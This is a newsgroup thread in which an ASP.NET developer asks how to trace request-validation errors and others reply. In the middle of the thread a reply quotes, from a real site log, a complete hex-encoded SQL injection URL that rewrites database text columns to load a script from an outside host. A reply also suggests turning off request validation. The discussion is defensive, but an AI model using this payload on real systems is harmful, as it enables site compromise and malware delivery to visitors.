Yeah, most of the users I'm dealing with are not technical, and my site's
available only to paying customers. So, as far as I know, I'm just dealing
with things like the user hitting the back button and so a page is loaded in
the incorrect context, or in this case putting invalid characters in an
input string.
But I'm updating my reporting routines as suggested.
Thanks.
BTW, the hacking attempt you posted shouldn't cause any problems as long as
the page uses parameterized arguments, right.
Jonathan
"George" <> wrote in message
news:...
> Yea, but usually you have tested the code. So it's not easy to guess were
> problem is unless you can replicate the problem or simply ignore the error
> message.
> There are a lot of (spamming) robots that trying to submit the form with
> bad information.
> Or hacking attempts looking like this (taken from real site)
> Path =
> /article.aspx?rid=23374';DECLARE%20@S%20CHAR(4000); SET%20@S=CAST(0x4445434C41524520405420766172636861 7228323535292C404320766172636861722834303030292044 45434C415245205461626C655F437572736F7220435552534F 5220464F522073656C65637420612E6E616D652C622E6E616D 652066726F6D207379736F626A6563747320612C737973636F 6C756D6E73206220776865726520612E69643D622E69642061 6E6420612E78747970653D27752720616E642028622E787479 70653D3939206F7220622E78747970653D3335206F7220622E 78747970653D323331206F7220622E78747970653D31363729 204F50454E205461626C655F437572736F7220464554434820 4E4558542046524F4D20205461626C655F437572736F722049 4E544F2040542C4043205748494C4528404046455443485F53 54415455533D302920424547494E2065786563282775706461 7465205B272B40542B275D20736574205B272B40432B275D3D 2727223E3C2F7469746C653E3C736372697074207372633D22 687474703A2F2F777777332E73733131716E2E636E2F637372 73732F772E6A73223E3C2F7363726970743E3C212D2D27272B 5B272B40432B275D20776865726520272B40432B27206E6F74 206C696B6520272725223E3C2F7469746C653E3C7363726970 74207372633D22687474703A2F2F777777332E73733131716E 2E636E2F63737273732F772E6A73223E3C2F7363726970743E 3C212D2D272727294645544348204E4558542046524F4D2020 5461626C655F437572736F7220494E544F2040542C40432045 4E4420434C4F5345205461626C655F437572736F7220444541 4C4C4F43415445205461626C655F437572736F72%20AS%20CH AR(4000));EXEC(@S);
>
> The rid is suppose to be Int32 but someone trying to do SQL injection
>
> George.
>
>
> "Jonathan Wood" <> wrote in message
> news:...
>> "George" <> wrote in message
>> news:...
>>
>>> You obviously should include all related information like
>>>
>>> Request.RawUrl, Request.Post.ToString()...
>>> into you report logging...
>>
>> I guess. Virtually all errors occur in my code so I can look at it. I
>> guess this is a rare exception.
>>
>>> PS: That error happens usually when HTML tags are tried to be submitted
>>> through the input box. By default ASP.NET prevents that.
>>>
>>> You can set validateRequest="false" in web.config to disable
>>> validation.
>>> <pages validateRequest="false">
>>
>> I'm not certain how comfortable I am with that, but that's good
>> information to know.
>>
>> Thanks.
>>
>> Jonathan
>>
>>> "Jonathan Wood" <> wrote in message
>>> news:%...
>>>> Greetings,
>>>>
>>>> I have a Website that emails me any time an error occurs. I have
>>>> debugging on so that it can include page and line number information.
>>>>
>>>> So I got a ton of the email below. Unfortunately, while I see it has
>>>> something to do with having "unsafe" characters in the query string, it
>>>> doesn't tell me on which page. Line 0 of App_Web_3uw3mai2.5.cs means
>>>> absolutely nothing to me. And it's too big a site to try and guess.
>>>>
>>>> Is there no way to figure out what caused this error?
>>>>
>>>> Thanks.
>>>>
>>>> Jonathan
>>>>
>>>> <<<<<<<<<<
>>>>
>>>> The following error has occurred on the server:
>>>>
>>>> "Application Error Handler"
>>>>
>>>> User: <email> (ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
>>>> Source: System.Web
>>>>
>>>> System.Web.HttpRequestValidationException: A potentially dangerous
>>>> Request.QueryString value was detected from the client (msg="...led
>>>> using <pages enableEventVa...").
>>>> at System.Web.HttpRequest.ValidateString(String s, String valueName,
>>>> String collectionName)
>>>> at
>>>> System.Web.HttpRequest.ValidateNameValueCollection (NameValueCollection
>>>> nvc, String collectionName)
>>>> at System.Web.HttpRequest.get_QueryString()
>>>> at System.Web.UI.Page.GetCollectionBasedOnMethod(Bool ean
>>>> dontReturnNull)
>>>> at System.Web.UI.Page.DeterminePostBackMode()
>>>> at System.Web.UI.Page.ProcessRequestMain(Boolean
>>>> includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
>>>> at System.Web.UI.Page.ProcessRequest(Boolean
>>>> includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint)
>>>> at System.Web.UI.Page.ProcessRequest()
>>>> at System.Web.UI.Page.ProcessRequestWithNoAssert(Http Context context)
>>>> at System.Web.UI.Page.ProcessRequest(HttpContext context)
>>>> at ASP.errorreport_aspx.ProcessRequest(HttpContext context) in
>>>> c:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\Temp orary ASP.NET
>>>> Files\root\f2d4905b\94fa3b3c\App_Web_3uw3mai2.5.cs :line 0
>>>> at
>>>> System.Web.HttpApplication.CallHandlerExecutionSte p.System.Web.HttpApplication.IExecutionStep.Execut e()
>>>> at System.Web.HttpApplication.ExecuteStep(IExecutionS tep step,
>>>> Boolean& completedSynchronously)
>>>>
>>>
>>
>
|